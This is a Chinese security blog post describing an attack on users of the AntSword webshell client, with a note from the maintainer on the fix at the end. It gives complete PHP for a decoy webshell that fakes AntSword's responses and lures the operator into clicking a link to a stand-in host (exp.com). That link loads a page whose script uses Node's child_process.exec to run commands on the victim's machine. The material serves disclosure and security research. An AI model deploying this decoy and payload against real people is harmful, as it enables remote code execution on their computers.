这两天看到校长在搞蚁剑的反制,忙碌了两天整了两个插件的self-xss,虽然很是鸡肋不过也不怪他,蚁剑主程序确实不太有xss的可能性了。不过这勾起了群友们的兴趣,松鼠A师傅熬夜熬了一晚上,第二天给我说找到一个可能比较“鸡肋”的利用方式,我和他交流一番后觉得还是有很大可能性成功的,于是便有了此文。
首先我们先需要知道蚁剑的一个特性。虚拟终端功能在某些特殊情况下会将一些标签转换成超链接。经过测试当遇到http/https协议头时会发生转换。比如:
这个链接点开打开的页面是以蚁剑内部的浏览器进行打开的,而我们知道蚁剑在实现上用了nodejs,那么看过之前反制goby的大概也明白了,就是通过打开的页面嵌入js来直接执行命令!好了,rce的方式有了,但是蚁剑又不是goby,怎么会有人在自己的webshell里点到别人的链接呢??这就到了设想场景的时候了,设想下面一个场景:
jb小子日站爆目录
爆到一个shell.php
jb小子一看就知道这是前人的一句话木马,操起蚁剑就想连
为了增加jb小子连接的成功率甚至可以把密码打印在屏幕上
好了,jb小子连上了我们的恶意webshell,开启了蚁剑的终端
一打开终端看到报错,马上点击链接
渲染恶意页面JS————》RCE
OK,场景完美了,接下来的重点就是如何构造一个虚假的webshell让jb小子看到就想连就想rce。其次,我们是钓鱼。所以webshell不能有实际功能。webshell既要连接成功,又要不能执行功能。于是整体思路呼之欲出:
获取post过来的数据
通过正则判断特征,判断是哪一个数据包
如果是连通包则发送对应信息使其通过测试
如果是其他功能包,则返回对应的信息让功能”正常“打开。直至打开虚拟终端上钩。
远程代码配置上线操作
我们直接先看看实现效果:
实际效果比想象中还要自然!下面开始看看怎么来制作这么一个钓鱼webshell吧。
首先分析蚁剑的数据包 密码为111的测试webshell连通性请求包:
111=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) { $oparr=preg_split("/\\\\|\//",$opdir); $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]); $tmdir=".cc06e1b50e"; @mkdir($tmdir); @chdir($tmdir); @ini_set("open_basedir",".."); for ($i=0;$i<sizeof($oparr);$i++) { @chdir(".."); } @ini_set("open_basedir","/"); @rmdir($ocwd."/".$tmdir);};function asenc($out) { return $out;};function asoutput() { $output=ob_get_contents(); ob_end_clean(); echo "c63f"."aa80"; //校验码一 echo @asenc($output); echo "03b"."b509"; //校验码二}ob_start();try { $D=dirname($_SERVER["SCRIPT_FILENAME"]); if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]); $R="{$D} "; if(substr($D,0,1)!="/") { foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:"; } else { $R.="/"; } $R.=" "; $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; $s=($u)?$u["name"]:@get_current_user(); $R.=php_uname(); $R.=" {$s}"; echo $R; ;}catch(Exception $e) { echo "ERROR://".$e->getMessage();};asoutput();die();
返回包:
c63faa80D:/phpstudy_pro/WWW C:D:E:F: Windows NT LAPTOP-465G 6.2 build 9200 (Windows 8 Business Edition) i586 USER03bb509
通过返回包可以看出webshell获取了web目录、盘符、系统版本、用户名等信息。在这些信息头尾各有一段随机字符,推测是类似校验码的东西。通过反复抓包确定两段随机字符存在其中一段即可通过校验,其他的内容会被缓存起来供其他功能调用。而校验码在请求包中也能找到。这个时候我们就可以按照要求写出一个可以通过蚁剑客户端校验的”webshell“。
注意 :返回包中的每段信息中间以\t分隔,而不是空格。这点在源码中可以找到,之前因为这个卡了好长时间。
最终写出伪造连通性的代码:
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si"; preg_match($ze,$A,$B);$c="$B[0]"; //正则提取 echo "xxxx"."xxxx";$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); //替换输出干净的值xxxxxxxx$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator';echo "$key"."$txt";//拼接输出最终内容
开始第二部分,伪造当在虚拟终端中执行命令时蚁剑的数据包。请求包太大这里就不放了。我们要从请求包中提取出一个特征,用来和连通性包做出区分,从而达到更完美的伪装。这里我选用了
$ret=127;
返回包同样是校验码+内容+校验码,和连通包类似
所以代码是这个样子的
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";preg_match($ze,$A,$B);$c="$B[0]";$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); $payload='http://exp.com/index.html';//远程加载js的页面,代码在文后 echo "$key".'ret=405'."\n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";//输出的钓鱼内容
然后加上判断。
点击连接调用蚁剑内置浏览器,开始愉快的算题
webshell.php
<?php $A=urldecode(file_get_contents("php://input")); //获取post数据$iscmd="%(.*)127;%si";if (preg_match($iscmd,$A,$B)!=0) { //判断数据包类型 $ze="%echo \"([^<]*?).\"([^<]*?)\";%si";preg_match($ze,$A,$B);$c="$B[0]";$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); //取校验码 $payload='http://exp.com/index.html'; //远程调用地址 echo "$key".'ret=405'."\n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";//这部分内容自由发挥,可以写成更有诱导性的内容} else { echo "no";$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";preg_match($ze,$A,$B);$c="$B[0]";$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c);$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator'; //返回内容会缓存起来在其他功能里用到,也可以利用这个伪造系统类型echo "$key"."$txt";}?>
加载的index.html
<script type="text/javascript"> require('child_process').exec('calc',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });</script>
所有代码均在松鼠A师傅的github有下载:https://github.com/shiyeshu/antSword-UnrealWebshell
这只是个简单的demo,功能部分其实可以多写几个,更加完美的伪装。返回连接那里返回一次内容后用户名就会发生变化,这点应该可以怎么解决掉。php代码写的也不够优雅,可以继续美化。这个思路还可以进一步拓展,比如:
拓展场景,比如ctf的awd里,谁不喜欢万人骑的webshell呢
留一个webshell,输入隐藏密码就可以链接成为正常的webshell,输入钓鱼密码就会进入钓鱼模式
终端侧的诱导理由可以进一步优化,就看想象力了
学蚁致用:
electron render 中的 a 标签默认行为是用 electron 内置的 BrowserWindow 来打开的。
AntSword 由于功能的需要,不得不在 Render 中开启 Node 支持,所以 XSS 就可以导致 RCE。
之所以开放 Node 支持,是因为编码器、解码器 等一些功能,是放在 Render 层来完成的,为了方便用户使用 NodeJS 中的一些库、语法。若将这些功能放在 ipcMain 里,在用户修改了这些代码之后,无法立即生效,需要将整个程序退出之后,重启才会生效。(参考 导入 shell 配置 这个插件的做法)。体验问题,这个需要未来再商讨。
链接在内部打开导致的钓鱼问题,解决办法也很简单,我们在主窗口中把所有的 url 都用默认的系统浏览器打开:
值得注意的是,这种只针对 target=_blank 的情况,如果是href=javascript: 这种的,就挡住不了
5. 修复的话,已经在文章发布前修复了,只不过没有发版本,直接同步代码就行了。如果你是http方式下载的,把 app.js替换了就行。
过几天会发新版本。
6. 欢迎更多的大佬可以参与到帮AntSword找漏洞的计划中来,蚁剑会因为你的细心变得更优秀。
致敬每一位安全爱好者~